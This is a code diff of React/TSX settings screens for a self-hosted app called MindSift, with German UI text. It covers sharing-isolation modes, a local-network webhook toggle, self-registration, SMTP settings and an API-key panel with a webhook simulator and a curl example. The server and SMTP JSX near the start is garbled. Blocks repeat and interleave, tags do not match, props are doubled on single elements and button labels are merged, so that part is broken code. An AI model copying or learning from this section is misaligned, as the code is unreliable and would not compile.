{/* SECTION 3: SERVER & SHARING-ISOLATION (SERVER-ADMIN ONLY) */}
{/* ================================================================= */}
{section === 'server' && isServerAdmin && (
<div className="space-y-6">
<div className="border-b border-border pb-3">
<h2 className="text-sm font-bold text-main">
Server-Grundeinstellungen & Benutzer-Sichtbarkeit
</h2>
<p className="text-muted mt-0.5">
Als Server-Admin bestimmst du zentral, ob Nutzer komplett isoliert arbeiten, sich nur
innerhalb ihrer Organisation sehen oder ob alle Nutzer für alle sichtbar sind.
</p>
</div>
<div className="space-y-4">
<div>
<label className="block text-muted font-semibold mb-1">
Name der MindSift-Instanz
</label>
<div className="flex gap-2 max-w-md">
<input
type="text"
value={settings.instanceName}
onChange={(e) =>
setSettings((prev) => ({ ...prev, instanceName: e.target.value }))
}
className="flex-1 h-9 px-3 input-field"
/>
<button
type="button"
onClick={() => handleSaveSystemSettings()}
className="btn-primary h-9 px-4 text-xs"
>
Speichern
</button>
</div>
<fieldset disabled={demoMode} className="min-w-0 border-0 p-0 m-0">
<div className="space-y-6">
<div className="border-b border-border pb-3">
<h2 className="text-sm font-bold text-main">
Server-Grundeinstellungen & Benutzer-Sichtbarkeit
</h2>
<p className="text-muted mt-0.5">
Als Server-Admin bestimmst du zentral, ob Nutzer komplett isoliert arbeiten, sich nur
innerhalb ihrer Organisation sehen oder ob alle Nutzer für alle sichtbar sind.
</p>
</div>
{/* Sharing Isolation Cards */}
<div className="space-y-2">
<label className="block text-muted font-semibold flex items-center gap-1.5">
<Users className="w-4 h-4 text-accent" />
<span>Globale Sharing- & Sichtbarkeits-Isolation</span>
</label>
<div className="grid grid-cols-1 sm:grid-cols-3 gap-3">
{SHARING_MODES.map((m) => (
<div className="space-y-4">
<div>
<label className="block text-muted font-semibold mb-1">
Name der MindSift-Instanz
</label>
<div className="flex gap-2 max-w-md">
<input
type="text"
value={settings.instanceName}
onChange={(e) =>
setSettings((prev) => ({ ...prev, instanceName: e.target.value }))
}
className="flex-1 h-9 px-3 input-field"
/>
<button
key={m.id}
type="button"
onClick={() => handleSelectSharingMode(m.id)}
className={`p-4 text-left border rounded-card transition-colors ${
settings.sharingMode === m.id
? 'bg-canvas border-accent text-main shadow-panel'
: 'bg-canvas/50 border-border text-muted hover:text-main'
}`}
onClick={() => handleSaveSystemSettings()}
className="btn-primary h-9 px-4 text-xs"
>
<p className="font-bold text-xs text-main">{m.title}</p>
<p className="text-[11px] text-muted mt-1 leading-relaxed">{m.text}</p>
</button>
))}
</div>
{pendingMode && (
<div className="p-3 border border-status-warn/40 bg-status-warn/5 rounded-card flex flex-wrap items-center gap-2">
<AlertCircle className="w-4 h-4 text-status-warn shrink-0" />
<span className="flex-1 min-w-0 text-main">
Beim Wechsel zu „{SHARING_MODES.find((m) => m.id === pendingMode.mode)?.title.replace(/^\d\.\s*/, '')}“
fallen {pendingMode.affected} Freigaben und Gruppen-Mitgliedschaften weg, die danach nicht mehr erlaubt sind.
</span>
<button
onClick={() => {
const mode = pendingMode.mode;
setPendingMode(null);
handleSaveSystemSettings({ sharingMode: mode });
}}
className="btn-primary h-7 px-3 text-[11px]"
>
Trotzdem wechseln
</button>
<button onClick={() => setPendingMode(null)} className="btn-action h-7 px-2 text-[11px]">
Abbrechen
Speichern
</button>
</div>
)}
</div>
{/* Alarm webhooks into the local network (SSRF protection) */}
<div className="p-4 bg-canvas border border-border rounded-card flex items-center justify-between gap-4">
<div className="pr-4">
<p className="font-bold text-main">Alarm-Webhooks ins lokale Netz erlauben</p>
<p className="text-[11px] text-muted mt-0.5">
Standard: Discord- und Webhook-Alarme gehen nur an öffentliche https-Adressen. Eingeschaltet sind auch Ziele
im Heimnetz erlaubt (z. B. Home Assistant unter 192.168.x.x oder über Tailscale), dort auch per http.
Der Server selbst (localhost) und Cloud-Metadaten bleiben immer gesperrt.
</p>
</div>
<ToggleSwitch
checked={Boolean(settings.allowPrivateWebhooks)}
onChange={(allowPrivateWebhooks) => handleSaveSystemSettings({ allowPrivateWebhooks })}
/>
</div>
{/* Public Registration Toggle Switch */}
<div className="p-4 bg-canvas border border-border rounded-card flex items-center justify-between gap-4">
<div className="pr-4">
<p className="font-bold text-main">Öffentliche Selbstregistrierung erlauben</p>
<p className="text-[11px] text-muted mt-0.5">
Wenn deaktiviert, können sich fremde Personen auf dem Login-Bildschirm nicht selbst registrieren.
Neue Konten erfordern dann zwingend einen Einladungscode oder müssen von einem Admin angelegt werden.
</p>
</div>
<div className="flex items-center gap-3 flex-shrink-0">
<span className={`text-xs font-medium hidden sm:inline ${settings.allowRegistration ? 'text-accent' : 'text-muted'}`}>
{settings.allowRegistration ? 'Aktiviert (Offen)' : 'Gesperrt (Nur Einladung)'}
</span>
{/* Sharing Isolation Cards */}
<div className="space-y-2">
<label className="block text-muted font-semibold flex items-center gap-1.5">
<Users className="w-4 h-4 text-accent" />
<span>Globale Sharing- & Sichtbarkeits-Isolation</span>
</label>
<div className="grid grid-cols-1 sm:grid-cols-3 gap-3">
{SHARING_MODES.map((m) => (
<button
key={m.id}
type="button"
onClick={() => handleSelectSharingMode(m.id)}
className={`p-4 text-left border rounded-card transition-colors ${
settings.sharingMode === m.id
? 'bg-canvas border-accent text-main shadow-panel'
: 'bg-canvas/50 border-border text-muted hover:text-main'
}`}
>
<p className="font-bold text-xs text-main">{m.title}</p>
<p className="text-[11px] text-muted mt-1 leading-relaxed">{m.text}</p>
</button>
))}
</div>
{pendingMode && (
<div className="p-3 border border-status-warn/40 bg-status-warn/5 rounded-card flex flex-wrap items-center gap-2">
<AlertCircle className="w-4 h-4 text-status-warn shrink-0" />
<span className="flex-1 min-w-0 text-main">
Beim Wechsel zu „{SHARING_MODES.find((m) => m.id === pendingMode.mode)?.title.replace(/^\d\.\s*/, '')}“
fallen {pendingMode.affected} Freigaben und Gruppen-Mitgliedschaften weg, die danach nicht mehr erlaubt sind.
</span>
<button
onClick={() => {
const mode = pendingMode.mode;
setPendingMode(null);
handleSaveSystemSettings({ sharingMode: mode });
}}
className="btn-primary h-7 px-3 text-[11px]"
>
Trotzdem wechseln
</button>
<button onClick={() => setPendingMode(null)} className="btn-action h-7 px-2 text-[11px]">
Abbrechen
</button>
</div>
)}
</div>
<BackupAdminCard settings={settings} onSave={(patch) => handleSaveSystemSettings(patch)} />
<VoiceStatusCard />
{/* Alarm webhooks into the local network (SSRF protection) */}
<div className="p-4 bg-canvas border border-border rounded-card flex items-center justify-between gap-4">
<div className="pr-4">
<p className="font-bold text-main">Alarm-Webhooks ins lokale Netz erlauben</p>
<p className="text-[11px] text-muted mt-0.5">
Standard: Discord- und Webhook-Alarme gehen nur an öffentliche https-Adressen. Eingeschaltet sind auch Ziele
im Heimnetz erlaubt (z. B. Home Assistant unter 192.168.x.x oder über Tailscale), dort auch per http.
Der Server selbst (localhost) und Cloud-Metadaten bleiben immer gesperrt.
</p>
</div>
<ToggleSwitch
checked={settings.allowRegistration}
onChange={(allowRegistration) => handleSaveSystemSettings({ allowRegistration })}
title={settings.allowRegistration ? 'Selbstregistrierung deaktivieren' : 'Selbstregistrierung aktivieren'}
checked={Boolean(settings.allowPrivateWebhooks)}
onChange={(allowPrivateWebhooks) => handleSaveSystemSettings({ allowPrivateWebhooks })}
/>
</div>
{/* Public Registration Toggle Switch */}
<div className="p-4 bg-canvas border border-border rounded-card flex items-center justify-between gap-4">
<div className="pr-4">
<p className="font-bold text-main">Öffentliche Selbstregistrierung erlauben</p>
<p className="text-[11px] text-muted mt-0.5">
Wenn deaktiviert, können sich fremde Personen auf dem Login-Bildschirm nicht selbst registrieren.
Neue Konten erfordern dann zwingend einen Einladungscode oder müssen von einem Admin angelegt werden.
</p>
</div>
<div className="flex items-center gap-3 flex-shrink-0">
<span className={`text-xs font-medium hidden sm:inline ${settings.allowRegistration ? 'text-accent' : 'text-muted'}`}>
{settings.allowRegistration ? 'Aktiviert (Offen)' : 'Gesperrt (Nur Einladung)'}
</span>
<ToggleSwitch
checked={settings.allowRegistration}
onChange={(allowRegistration) => handleSaveSystemSettings({ allowRegistration })}
title={settings.allowRegistration ? 'Selbstregistrierung deaktivieren' : 'Selbstregistrierung aktivieren'}
/>
</div>
</div>
</div>
</div>
</div>
</fieldset>
)}
{/* ================================================================= */}
{/* SECTION 4: E-MAIL / SMTP-SERVER (SERVER-ADMIN ONLY) */}
{/* ================================================================= */}
{section === 'smtp' && isServerAdmin && (
<div className="space-y-6">
<div className="border-b border-border pb-3 flex flex-col sm:flex-row sm:items-center justify-between gap-2">
<div>
<h2 className="text-sm font-bold text-main">
E-Mail / SMTP-Server für Aufgaben-Alarme
</h2>
<p className="text-muted mt-0.5">
Konfiguriere den Postausgangsserver per Docker-Compose Environment-Variablen oder
direkt hier über die Oberfläche (wird persistent in der SQLite-Datenbank gespeichert).
</p>
<fieldset disabled={demoMode} className="min-w-0 border-0 p-0 m-0">
<div className="space-y-6">
<div className="border-b border-border pb-3 flex flex-col sm:flex-row sm:items-center justify-between gap-2">
<div>
<h2 className="text-sm font-bold text-main">
E-Mail / SMTP-Server für Aufgaben-Alarme
</h2>
<p className="text-muted mt-0.5">
Konfiguriere den Postausgangsserver per Docker-Compose Environment-Variablen oder
direkt hier über die Oberfläche (wird persistent in der SQLite-Datenbank gespeichert).
</p>
</div>
{settings.smtpConfiguredViaEnv && (
<span className="badge-ok text-[11px] flex-shrink-0">
Docker Env erkannt
</span>
)}
</div>
{settings.smtpConfiguredViaEnv && (
<span className="badge-ok text-[11px] flex-shrink-0">
Docker Env erkannt
</span>
)}
</div>
<div className="grid grid-cols-1 sm:grid-cols-2 gap-4">
<div>
<label className="block text-muted font-medium mb-1">
SMTP Host (`SMTP_HOST`)
</label>
<input
type="text"
value={settings.smtpHost || ''}
onChange={(e) =>
setSettings((prev) => ({ ...prev, smtpHost: e.target.value }))
}
placeholder="z.B. smtp.example.com oder mail.deinedomain.de"
className="w-full h-9 px-3 input-field font-mono"
/>
</div>
<div>
<label className="block text-muted font-medium mb-1">
SMTP Port (`SMTP_PORT`)
</label>
<input
type="text"
inputMode="numeric"
value={settings.smtpPort ?? ''}
onChange={(e) =>
// Digits only; an empty field stays empty while typing (saved as 587)
setSettings((prev) => ({ ...prev, smtpPort: e.target.value.replace(/\D/g, '').slice(0, 5) }))
}
placeholder="587"
className="w-full h-9 px-3 input-field font-mono"
/>
</div>
<div>
<label className="block text-muted font-medium mb-1">
SMTP Benutzername (`SMTP_USER`)
</label>
<input
type="text"
value={settings.smtpUser || ''}
onChange={(e) =>
setSettings((prev) => ({ ...prev, smtpUser: e.target.value }))
}
placeholder="alerts@deinedomain.de"
className="w-full h-9 px-3 input-field font-mono"
/>
</div>
<div>
<label className="block text-muted font-medium mb-1">
SMTP Passwort (`SMTP_PASS`)
</label>
<input
type="password"
value={settings.smtpPass || ''}
onChange={(e) =>
setSettings((prev) => ({ ...prev, smtpPass: e.target.value }))
}
placeholder="••••••••••••"
className="w-full h-9 px-3 input-field font-mono"
/>
</div>
<div>
<label className="block text-muted font-medium mb-1">
Absender-Adresse (`SMTP_FROM`)
</label>
<input
type="text"
value={settings.smtpFrom || ''}
onChange={(e) =>
setSettings((prev) => ({ ...prev, smtpFrom: e.target.value }))
}
placeholder="MindSift <alerts@deinedomain.de>"
className="w-full h-9 px-3 input-field"
/>
</div>
<div className="sm:col-span-2 space-y-3 pt-1">
<div className="flex items-center justify-between gap-3">
<div>
<p className="text-main font-medium">Verschlüsselung (`SMTP_TLS`)</p>
<p className="text-[11px] text-muted">
Port 465: TLS ab Verbindungsbeginn, sonst STARTTLS. Ist es an, wird ohne Verschlüsselung nicht gesendet.
</p>
</div>
<ToggleSwitch
checked={settings.smtpTls ?? true}
onChange={(smtpTls) => setSettings((prev) => ({ ...prev, smtpTls }))}
<div className="grid grid-cols-1 sm:grid-cols-2 gap-4">
<div>
<label className="block text-muted font-medium mb-1">
SMTP Host (`SMTP_HOST`)
</label>
<input
type="text"
value={settings.smtpHost || ''}
onChange={(e) =>
setSettings((prev) => ({ ...prev, smtpHost: e.target.value }))
}
placeholder="z.B. smtp.example.com oder mail.deinedomain.de"
className="w-full h-9 px-3 input-field font-mono"
/>
</div>
<div className="flex items-center justify-between gap-3">
<div>
<p className="text-main font-medium">Zertifikatsprüfung deaktivieren (`SMTP_SKIP_VERIFY`)</p>
<p className="text-[11px] text-muted">
Nur für interne Mailserver mit selbstsigniertem Zertifikat oder abweichendem Namen. Die Verbindung
bleibt verschlüsselt, der Server wird aber nicht mehr geprüft.
</p>
</div>
<ToggleSwitch
checked={settings.smtpSkipVerify ?? false}
disabled={!(settings.smtpTls ?? true)}
onChange={(smtpSkipVerify) => setSettings((prev) => ({ ...prev, smtpSkipVerify }))}
<div>
<label className="block text-muted font-medium mb-1">
SMTP Port (`SMTP_PORT`)
</label>
<input
type="text"
inputMode="numeric"
value={settings.smtpPort ?? ''}
onChange={(e) =>
// Digits only; an empty field stays empty while typing (saved as 587)
setSettings((prev) => ({ ...prev, smtpPort: e.target.value.replace(/\D/g, '').slice(0, 5) }))
}
placeholder="587"
className="w-full h-9 px-3 input-field font-mono"
/>
</div>
<div>
<label className="block text-muted font-medium mb-1">
SMTP Benutzername (`SMTP_USER`)
</label>
<input
type="text"
value={settings.smtpUser || ''}
onChange={(e) =>
setSettings((prev) => ({ ...prev, smtpUser: e.target.value }))
}
placeholder="alerts@deinedomain.de"
className="w-full h-9 px-3 input-field font-mono"
/>
</div>
<div>
<label className="block text-muted font-medium mb-1">
SMTP Passwort (`SMTP_PASS`)
</label>
<input
type="password"
value={settings.smtpPass || ''}
onChange={(e) =>
setSettings((prev) => ({ ...prev, smtpPass: e.target.value }))
}
placeholder={settings.smtpPassSet ? 'Gespeichert – leer lassen für keine Änderung' : '••••••••••••'}
autoComplete="new-password"
className="w-full h-9 px-3 input-field font-mono"
/>
</div>
<div>
<label className="block text-muted font-medium mb-1">
Absender-Adresse (`SMTP_FROM`)
</label>
<input
type="text"
value={settings.smtpFrom || ''}
onChange={(e) =>
setSettings((prev) => ({ ...prev, smtpFrom: e.target.value }))
}
placeholder="alerts@deinedomain.de"
className="w-full h-9 px-3 input-field"
/>
</div>
<div>
<label className="block text-muted font-medium mb-1">
Absender-Name (`SMTP_FROM_NAME`)
</label>
<input
type="text"
value={settings.smtpFromName || ''}
onChange={(e) =>
setSettings((prev) => ({ ...prev, smtpFromName: e.target.value }))
}
placeholder="MindSift"
className="w-full h-9 px-3 input-field"
/>
<p className="text-[11px] text-faint mt-1">
Erscheint beim Empfänger als Absender. Leer = „MindSift“; ein Name direkt in der Adresse
(„Name &lt;adresse&gt;“) hat Vorrang.
</p>
</div>
<div className="sm:col-span-2 space-y-3 pt-1">
<div className="flex items-center justify-between gap-3">
<div>
<p className="text-main font-medium">Verschlüsselung (`SMTP_TLS`)</p>
<p className="text-[11px] text-muted">
Port 465: TLS ab Verbindungsbeginn, sonst STARTTLS. Ist es an, wird ohne Verschlüsselung nicht gesendet.
</p>
</div>
<ToggleSwitch
checked={settings.smtpTls ?? true}
onChange={(smtpTls) => setSettings((prev) => ({ ...prev, smtpTls }))}
/>
</div>
<div className="flex items-center justify-between gap-3">
<div>
<p className="text-main font-medium">Zertifikatsprüfung deaktivieren (`SMTP_SKIP_VERIFY`)</p>
<p className="text-[11px] text-muted">
Nur für interne Mailserver mit selbstsigniertem Zertifikat oder abweichendem Namen. Die Verbindung
bleibt verschlüsselt, der Server wird aber nicht mehr geprüft.
</p>
</div>
<ToggleSwitch
checked={settings.smtpSkipVerify ?? false}
disabled={!(settings.smtpTls ?? true)}
onChange={(smtpSkipVerify) => setSettings((prev) => ({ ...prev, smtpSkipVerify }))}
/>
</div>
</div>
</div>
</div>
<div className="flex justify-end pt-2 border-t border-border">
<button
type="button"
onClick={() => handleSaveSystemSettings()}
className="btn-primary h-9 px-5 text-xs font-semibold"
>
SMTP-Konfiguration in Datenbank speichern
</button>
</div>
{/* Test SMTP Delivery */}
<div className="p-4 bg-canvas border border-border rounded-card space-y-2">
<h3 className="font-bold text-main">SMTP-Verbindung testen</h3>
<p className="text-[11px] text-muted">
Sendet sofort eine Test-E-Mail mit den oben eingetragenen Daten.
</p>
<div className="flex flex-col sm:flex-row gap-2">
<input
type="email"
value={testSmtpEmail}
onChange={(e) => setTestSmtpEmail(e.target.value)}
placeholder="empfaenger@beispiel.de"
className="flex-1 h-8 px-3 input-field"
/>
<div className="flex justify-end pt-2 border-t border-border">
<button
type="button"
onClick={handleTestSmtp}
disabled={testingSmtp || !testSmtpEmail.trim()}
className="btn-action h-8 px-4 text-xs flex items-center justify-center gap-1.5 disabled:opacity-40"
onClick={() => handleSaveSystemSettings()}
className="btn-primary h-9 px-5 text-xs font-semibold"
>
<Send className="w-3.5 h-3.5 text-accent" />
<span>{testingSmtp ? 'Sende Test-Mail…' : 'Test-E-Mail senden'}</span>
SMTP-Konfiguration in Datenbank speichern
</button>
</div>
{/* Test SMTP Delivery */}
<div className="p-4 bg-canvas border border-border rounded-card space-y-2">
<h3 className="font-bold text-main">SMTP-Verbindung testen</h3>
<p className="text-[11px] text-muted">
Sendet sofort eine Test-E-Mail mit den oben eingetragenen Daten.
</p>
<div className="flex flex-col sm:flex-row gap-2">
<input
type="email"
value={testSmtpEmail}
onChange={(e) => setTestSmtpEmail(e.target.value)}
placeholder="empfaenger@beispiel.de"
className="flex-1 h-8 px-3 input-field"
/>
<button
type="button"
onClick={handleTestSmtp}
disabled={testingSmtp || !testSmtpEmail.trim()}
className="btn-action h-8 px-4 text-xs flex items-center justify-center gap-1.5 disabled:opacity-40"
>
<Send className="w-3.5 h-3.5 text-accent" />
<span>{testingSmtp ? 'Sende Test-Mail…' : 'Test-E-Mail senden'}</span>
</button>
</div>
</div>
</div>
</div>
</fieldset>
)}
</div>
</div>
@@ -0,0 +1,380 @@
import React, { useEffect, useState } from 'react';
import {
Key,
Plus,
Trash2,
Copy,
Check,
Webhook,
Zap,
Terminal,
} from 'lucide-react';
import { APIKey, ApiKeyScope, PriorityLevel, SharedList, TaskList } from '../../lib/types';
import { api, triggerHaptic } from '../../lib/api';
interface ApiKeysPanelProps {
onIngested?: () => void;
}
// What a key may deliver; keys never read anything
const SCOPES: { id: ApiKeyScope; label: string; hint: string }[] = [
{ id: 'webhook:triage', label: '📥 Triage / Inbox', hint: 'Gedanken in die Inbox' },
{ id: 'webhook:task', label: '📋 Aufgaben', hint: 'Aufgaben direkt anlegen' },
{ id: 'webhook:list', label: '📝 Listeneinträge', hint: 'Einträge zu Listen hinzufügen' },
];
const scopeLabel = (id: string) => SCOPES.find((s) => s.id === id)?.label || id;
type SimTarget = 'triage' | 'task' | 'list_item';
// Personal API keys with scopes, a simulator and copyable examples (settings → Private Webhooks)
export const ApiKeysPanel: React.FC<ApiKeysPanelProps> = ({ onIngested }) => {
const [keys, setKeys] = useState<APIKey[]>([]);
const [newKeyName, setNewKeyName] = useState('');
const [newKeyScopes, setNewKeyScopes] = useState<ApiKeyScope[]>(['webhook:triage']);
const [newlyCreatedKey, setNewlyCreatedKey] = useState<string | null>(null);
const [copiedKey, setCopiedKey] = useState(false);
// Live Webhook Simulator State
const [simTitle, setSimTitle] = useState('Waschmaschine im Keller ist fertig!');
const [simPriority, setSimPriority] = useState<PriorityLevel>('high');
const [simTarget, setSimTarget] = useState<SimTarget>('triage');
const [simListId, setSimListId] = useState('');
const [simTaskListId, setSimTaskListId] = useState('');
const [simStatus, setSimStatus] = useState<string | null>(null);
const [lists, setLists] = useState<SharedList[]>([]);
const [taskLists, setTaskLists] = useState<TaskList[]>([]);
const loadKeys = async () => {
const k = await api.getAPIKeys();
setKeys(k);
};
useEffect(() => {
loadKeys();
api.getAllLists().then(setLists).catch(() => {});
api.getTaskLists().then(setTaskLists).catch(() => {});
}, []);
const toggleScope = (id: ApiKeyScope) => {
setNewKeyScopes((prev) => {
const next = prev.includes(id) ? prev.filter((s) => s !== id) : [...prev, id];
return next.length > 0 ? next : prev; // at least one
});
};
const handleCreateKey = async (e: React.FormEvent) => {
e.preventDefault();
triggerHaptic(15);
const created = await api.createAPIKey(newKeyName.trim() || 'Home Assistant', newKeyScopes);
if (created.rawKey) {
setNewlyCreatedKey(created.rawKey);
}
setNewKeyName('');
setNewKeyScopes(['webhook:triage']);
await loadKeys();
};
const handleDeleteKey = async (id: string) => {
if (!window.confirm('Diesen API-Schlüssel wirklich widerrufen?')) return;
triggerHaptic(20);
await api.deleteAPIKey(id);
await loadKeys();
};
const handleCopy = (text: string) => {
navigator.clipboard.writeText(text);
setCopiedKey(true);
setTimeout(() => setCopiedKey(false), 2000);
};
const handleSimulateWebhook = async () => {
triggerHaptic(20);
if (simTarget === 'list_item' && !simListId) {
setSimStatus('❌ Bitte eine Liste wählen.');
return;
}
try {
// With a freshly created key the simulator tests exactly that key (and its scopes)
await api.testWebhookIngest(newlyCreatedKey, {
title: simTitle,
priority: simPriority,
tags: simTarget === 'list_item' ? [] : ['smarthome', 'automation'],
target: simTarget,
taskListId: simTarget === 'task' ? simTaskListId || undefined : undefined,
listId: simTarget === 'list_item' ? simListId : undefined,
});
setSimStatus(
simTarget === 'task'
? '✅ Webhook erfolgreich ausgelöst! Die Aufgabe ist angelegt.'
: simTarget === 'list_item'
? '✅ Webhook erfolgreich ausgelöst! Der Eintrag steht in der Liste.'
: '✅ Webhook erfolgreich ausgelöst! Neue Karte liegt in deiner Inbox.'
);
onIngested?.();
setTimeout(() => setSimStatus(null), 4000);
} catch (err: any) {
setSimStatus(`❌ Fehler: ${err.message}`);
}
};
const exampleToken = newlyCreatedKey || 'mindsift_sec_dein_api_key';
const baseUrl = window.location.origin;
const examplePayload =
simTarget === 'task'
? `{
"target": "task",
"title": "Filter der Lüftungsanlage wechseln",
"priority": "high",
"dueDate": "2026-11-15T09:00"${simTaskListId ? `,\n "taskListId": "${simTaskListId}"` : ''}
}`
: simTarget === 'list_item'
? `{
"target": "list_item",
"listId": "${simListId || 'ID_DER_LISTE'}",
"content": "Hafermilch",
"quantity": "2"
}`
: `{
"title": "Kellerfeuchtigkeit über 70%",
"priority": "urgent",
"tags": ["smarthome", "keller"]
}`;
return (
<div className="space-y-6">
{/* API keys */}
<div>
<div className="flex items-center gap-3 mb-2">
<div className="w-8 h-8 bg-accent text-on-accent flex items-center justify-center flex-shrink-0">
<Key className="w-4 h-4" />
</div>
<div>
<h3 className="text-sm font-bold text-main">Webhooks & Ingestion API-Schlüssel</h3>
<p className="text-xs text-muted">
Verbinde Home Assistant, Zigbee2MQTT, n8n oder eigene Cronjobs mit MindSift. Ein Key kann nur Daten
einliefern, nie lesen; was genau, legst du pro Key fest.
</p>
</div>
</div>
<form onSubmit={handleCreateKey} className="mt-3 space-y-2">
<div className="flex flex-col sm:flex-row gap-2">
<input
type="text"
value={newKeyName}
onChange={(e) => setNewKeyName(e.target.value)}
placeholder="Bezeichnung (z. B. Home Assistant, Proxmox Backup, Rauchmelder)…"
className="w-full sm:flex-1 min-w-0 h-11 sm:h-9 px-3 input-field text-base sm:text-sm"
/>
<button type="submit" className="btn-primary h-11 sm:h-9 px-4 text-sm flex items-center justify-center gap-1.5">
<Plus className="w-4 h-4" />
<span>API-Key erzeugen</span>
</button>
</div>
<div className="flex flex-wrap items-center gap-2" role="group" aria-label="Berechtigungen des Keys">
<span className="text-xs text-muted">Darf einliefern:</span>
{SCOPES.map((sc) => {
const on = newKeyScopes.includes(sc.id);
return (
<button
key={sc.id}
type="button"
role="checkbox"
aria-checked={on}
title={sc.hint}
onClick={() => toggleScope(sc.id)}
className={`h-11 sm:h-8 px-3 rounded-btn border text-xs inline-flex items-center gap-1.5 transition-colors ${
on ? 'border-accent bg-accent/10 text-main' : 'border-border text-muted hover:text-main'
}`}
>
{on && <Check className="w-3.5 h-3.5 text-accent" />}
{sc.label}
</button>
);
})}
</div>
</form>
{newlyCreatedKey && (
<div className="mt-3 p-3 bg-accent/15 border border-accent/30 flex flex-wrap items-center justify-between gap-3">
<div className="min-w-0">
<p className="text-xs font-semibold text-accent mb-1">Neuer API-Schlüssel erstellt (bitte jetzt kopieren):</p>
<code className="text-xs sm:text-sm font-mono text-main break-all">{newlyCreatedKey}</code>
</div>
<button onClick={() => handleCopy(newlyCreatedKey)} className="btn-primary h-8 px-3 text-xs">
{copiedKey ? <Check className="w-3.5 h-3.5" /> : <Copy className="w-3.5 h-3.5" />}
<span>{copiedKey ? 'Kopiert!' : 'Key kopieren'}</span>
</button>
</div>
)}
{/* Active Keys List */}
<div className="mt-3 border border-border divide-y divide-border">
{keys.length === 0 ? (
<p className="text-xs text-faint px-3 py-2">Noch keine dedizierten API-Schlüssel hinterlegt.</p>
) : (
keys.map((k) => (
<div key={k.id} className="px-3 py-2 bg-canvas flex items-center justify-between gap-3">
<div className="min-w-0 flex flex-wrap items-center gap-x-3 gap-y-1">
<span className="text-sm font-medium text-main">{k.name}</span>
<span className="text-xs font-mono text-accent">{k.keyPrefix}</span>
{k.scopes
.split(',')
.filter(Boolean)
.map((sc) => (
<span key={sc} className="px-1.5 py-0.5 rounded-btn border border-border text-[10px] text-muted">
{scopeLabel(sc)}
</span>
))}
{k.lastUsedAt && (
<span className="text-xs text-faint">
Zuletzt genutzt: {new Date(k.lastUsedAt).toLocaleDateString('de-DE')}
</span>
)}
</div>
<button
onClick={() => handleDeleteKey(k.id)}
className="btn-icon btn-icon-danger w-7 h-7 shrink-0"
aria-label={`API-Key ${k.name} löschen`}
>
<Trash2 className="w-3.5 h-3.5" />
</button>
</div>
))
)}
</div>
</div>
{/* Simulator */}
<div className="pt-4 border-t border-border">
<div className="flex items-center gap-3 mb-3">
<div className="w-7 h-7 bg-accent text-on-accent flex items-center justify-center flex-shrink-0">
<Webhook className="w-4 h-4" />
</div>
<div>
<h3 className="text-sm font-bold text-main">Live Smarthome Webhook-Simulator</h3>
<p className="text-xs text-muted">
Teste den Webhook-Endpunkt direkt hier
{newlyCreatedKey ? ' – mit dem eben erzeugten Key und seinen Berechtigungen.' : ' – mit deiner Anmeldung.'}
</p>
</div>
</div>
<div className="flex flex-wrap gap-1.5 mb-3" role="radiogroup" aria-label="Ziel">
{(
[
['triage', '📥 Inbox'],
['task', '📋 Aufgabe'],
['list_item', '📝 Listeneintrag'],
] as const
).map(([value, label]) => (
<button
key={value}
type="button"
role="radio"
aria-checked={simTarget === value}
onClick={() => setSimTarget(value)}
className={`h-11 sm:h-8 px-3 rounded-btn border text-xs transition-colors ${
simTarget === value ? 'border-accent bg-accent/10 text-main' : 'border-border text-muted hover:text-main'
}`}
>
{label}
</button>
))}
{simTarget === 'list_item' && (
<select
value={simListId}
onChange={(e) => setSimListId(e.target.value)}
className="h-11 sm:h-8 px-2 input-field text-base sm:text-xs bg-panel"
aria-label="Liste"
>
<option value="">Liste wählen…</option>
{lists.map((l) => (
<option key={l.id} value={l.id}>
{l.icon} {l.title}
</option>
))}
</select>
)}
{simTarget === 'task' && (
<select
value={simTaskListId}
onChange={(e) => setSimTaskListId(e.target.value)}
className="h-11 sm:h-8 px-2 input-field text-base sm:text-xs bg-panel"
aria-label="Aufgabenliste"
>
<option value="">Ohne Aufgabenliste</option>
{taskLists.map((tl) => (
<option key={tl.id} value={tl.id}>
{tl.icon} {tl.title}
</option>
))}
</select>
)}
</div>
{simTarget === 'triage' && (
<div className="flex flex-wrap gap-1.5 mb-3">
{[
{ label: '🧺 Waschmaschine fertig', text: 'Waschmaschine im Keller ist fertig – Wäsche aufhängen!', prio: 'high' as PriorityLevel },
{ label: '🚨 Rauchmelder Batterie', text: 'Rauchmelder Dachgeschoss meldet niedrige Batterie (12%)', prio: 'urgent' as PriorityLevel },
{ label: '💧 Luftfeuchtigkeit Keller', text: 'Kellerfeuchtigkeit über 70% – Lüften oder Entfeuchter starten', prio: 'urgent' as PriorityLevel },
].map((preset) => (
<button
key={preset.label}
type="button"
onClick={() => {
setSimTitle(preset.text);
setSimPriority(preset.prio);
}}
className="btn-action text-xs"
>
{preset.label}
</button>
))}
</div>
)}
<div className="flex flex-col sm:flex-row gap-2">
<input
type="text"
value={simTitle}
onChange={(e) => setSimTitle(e.target.value)}
className="flex-1 h-11 sm:h-9 px-3 input-field text-base sm:text-sm"
/>
<button
type="button"
onClick={handleSimulateWebhook}
className="btn-primary h-11 sm:h-9 px-4 text-xs sm:text-sm flex items-center justify-center gap-1.5"
>
<Zap className="w-4 h-4" />
<span>Webhook jetzt abfeuern</span>
</button>
</div>
{simStatus && (
<p className={`mt-3 text-xs font-medium ${simStatus.startsWith('❌') ? 'text-status-err' : 'text-status-ok'}`}>{simStatus}</p>
)}
{/* Code Example Snippets */}
<div className="mt-4 space-y-2">
<div className="flex items-center gap-2 text-xs font-medium text-muted">
<Terminal className="w-3.5 h-3.5 text-accent" />
<span>cURL / Home Assistant REST Command:</span>
</div>
<pre className="p-3 bg-canvas border border-border font-mono text-xs text-main overflow-x-auto">
{`curl -X POST "${baseUrl}/api/v1/webhooks/ingest" \\
-H "X-API-Key: ${exampleToken}" \\
-H "Content-Type: application/json" \\
-d '${examplePayload}'`}
</pre>
<p className="text-[11px] text-faint">
Der Key gehört in den Header <code className="font-mono">X-API-Key</code>, nicht in die URL, damit er nicht in
Proxy-Logs landet. Fehlt dem Key die Berechtigung für das Ziel, antwortet der Server mit 403.
</p>
</div>
</div>
</div>
);
};
@@ -0,0 +1,131 @@
import React, { useEffect, useState } from 'react';
import { Archive, Download, Loader2 } from 'lucide-react';
import { BackupFile, SystemSettings } from '../../lib/types';
import { api } from '../../lib/api';
import { ToggleSwitch } from '../../components/ToggleSwitch';
import { formatBytes, saveBlob } from '../../lib/download';
interface BackupAdminCardProps {
settings: SystemSettings;
onSave: (patch: Partial<SystemSettings>) => void;
}
